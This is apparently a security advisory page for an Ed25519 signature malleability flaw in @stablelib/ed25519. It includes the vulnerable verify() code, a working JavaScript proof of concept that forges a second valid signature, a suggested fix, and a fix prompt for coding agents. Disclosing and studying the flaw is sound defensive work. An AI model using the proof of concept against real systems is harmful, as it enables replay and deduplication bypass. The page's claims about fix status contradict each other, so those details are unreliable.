# GHSA-x3ff-w252-2g7j: StableLib Ed25519 Signature Malleability via Missing S < L Check

> Attackers can create malleable Ed25519 signatures due to missing S < L validation, potentially bypassing signature uniqueness checks in applications using this library.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 1 Apr 2026

## What is GHSA-x3ff-w252-2g7j?

GHSA-x3ff-w252-2g7j is a vulnerability in @stablelib/ed25519, published on 1 Apr 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

# Ed25519 Signature Malleability via Missing S < L Check -- Same Class as node-forge CVE-2026-33895 (CWE-347)

## Target
- Repository: StableLib/stablelib (package: @stablelib/ed25519)
- Platform: GitHub PVR
- Bounty: CVE credit
- CWE: CWE-347 (Improper Verification of Cryptographic Signature)
- Version: 2.0.2 (latest, 2026-03-28)

## Root Cause

The `verify()` function in `@stablelib/ed25519` does not check that the `S` component of the signature is less than the group order `L`. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where `S >= L` to prevent signature malleability.

When `S >= L`, `[S]B = [(S mod L)]B = [(S - L)]B`, meaning two different 32-byte `S` values produce the same verification result. An attacker who observes a valid signature `(R, S)` can produce a second valid signature `(R, S + L)` for the same message.

### Vulnerable code

**File:** `packages/ed25519/ed25519.ts` (compiled: `lib/ed25519.js:779-802`)

```javascript
export function verify(publicKey, message, signature) {
    // ... length check, unpack public key ...
    const hs = new SHA512();
    hs.update(signature.subarray(0, 32));   // R
    hs.update(publicKey);                   // A
    hs.update(message);                     // M
    const h = hs.digest();
    reduce(h);                              // h is reduced mod L
    scalarmult(p, q, h);                    // [h](-A)
    scalarbase(q, signature.subarray(32));  // [S]B -- S NOT checked or reduced
    edadd(p, q);
    pack(t, p);
    if (verify32(signature, t)) {           // compare R
        return false;
    }
    return true;
}
```

Note that `h` is properly `reduce()`d (line 794), but `S` (signature bytes 32-63) is passed directly to `scalarbase()` without any range check.

## Proof of Concept

```javascript
const ed = require('@stablelib/ed25519');

const kp = ed.generateKeyPair();
const msg = new TextEncoder().encode("Hello, world!");
const sig = ed.sign(kp.secretKey, msg);

console.log("Original valid:", ed.verify(kp.publicKey, msg, sig)); // true

// Ed25519 group order L
const L = [
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
];

// Add L to S component to create malleable signature
const malSig = new Uint8Array(64);
malSig.set(sig.subarray(0, 32)); // R unchanged
let carry = 0;
for (let i = 0; i < 32; i++) {
  const sum = sig[32 + i] + L[i] + carry;
  malSig[32 + i] = sum & 0xff;
  carry = sum >> 8;
}

console.log("Malleable valid:", ed.verify(kp.publicKey, msg, malSig)); // true
console.log("Sigs differ:", !sig.every((b, i) => b === malSig[i]));    // true
```

**Output:**
```
Original valid: true
Malleable valid: true
Sigs differ: true
```

## Impact

- **Signature malleability**: Given any valid signature, an attacker can produce a second distinct valid signature for the same message without knowing the private key
- **Transaction ID collision**: Applications using signature bytes as unique identifiers (e.g., blockchain transaction IDs) are vulnerable to replay/double-spend attacks
- **Deduplication bypass**: Systems deduplicating by signature value accept the same message twice with different "signatures"
- **Same vulnerability class** as node-forge CVE-2026-33895 (GHSA-q67f-28xg-22rw), rated HIGH

## Suggested Fix

Add an S < L check before processing the signature:

```javascript
// L in little-endian
const L = new Uint8Array([
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
]);

function scalarLessThanL(s) {
  for (let i = 31; i >= 0; i--) {
    if (s[i] < L[i]) return true;
    if (s[i] > L[i]) return false;
  }
  return false; // equal to L, reject
}

export function verify(publicKey, message, signature) {
    // ... existing checks ...
    if (!scalarLessThanL(signature.subarray(32))) {
        return false; // S >= L, reject
    }
    // ... rest of verify ...
}
```

## Self-Review

- **Is this by-design?** No explicit documentation suggests malleability is intended. The library is described as implementing "Ed25519 public-key signature (EdDSA with Curve25519)" with no caveat about malleability.
- **Is RFC 8032 strict about this?** No. RFC 8032 does not require S < L. However, the CFRG recommends it, ZIP-215 requires it, and the node-forge advisory (CVE-2026-33895) treats the identical issue as HIGH severity.
- **Is this already reported?** No. No existing issues or CVEs for @stablelib/ed25519 regarding malleability or S < L.
- **Honest weaknesses:** (1) RFC 8032 does not strictly require S < L. (2) Not all applications are affected -- only those depending on signature uniqueness. (3) This is malleability, not forgery -- the attacker cannot sign new messages. (4) tweetnacl has the same issue and considers it a known limitation.
- **CVSS:** Medium (5.3). AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N -- can produce alternate valid signatures, limited integrity impact.

## Solution

Upgrade to version 2.1.0.

## Which versions are affected by GHSA-x3ff-w252-2g7j?

2 open source packages ship an affected version, including @stablelib/ed25519.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `@stablelib/ed25519` | npm | All versions to 2.0.2 | None |
| `@stablelib/ed25519` | npm | All versions to 2.0.2 | None |

## How do I fix GHSA-x3ff-w252-2g7j?

No fix has been published for GHSA-x3ff-w252-2g7j yet. Limit exposure of the affected software until one is available.

## Is GHSA-x3ff-w252-2g7j being exploited?

There is no known exploitation of GHSA-x3ff-w252-2g7j in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-x3ff-w252-2g7j and fix it if it is affected.

What it is: GHSA-x3ff-w252-2g7j is a vulnerability in @stablelib/ed25519, published on 1 Apr 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-x3ff-w252-2g7j in the wild and no public exploit code.

Affected packages and fixed versions:
- @stablelib/ed25519 (npm): affected all versions up to 2.0.2; no fix listed
- @stablelib/ed25519 (npm): affected all versions up to 2.0.2; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-x3ff-w252-2g7j/ (Markdown: https://insights.sbomify.com/GHSA-x3ff-w252-2g7j/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-x3ff-w252-2g7j

---
From sbomify Insights: https://insights.sbomify.com/GHSA-x3ff-w252-2g7j/
Summaries are generated and may contain mistakes; the official description above is the record.
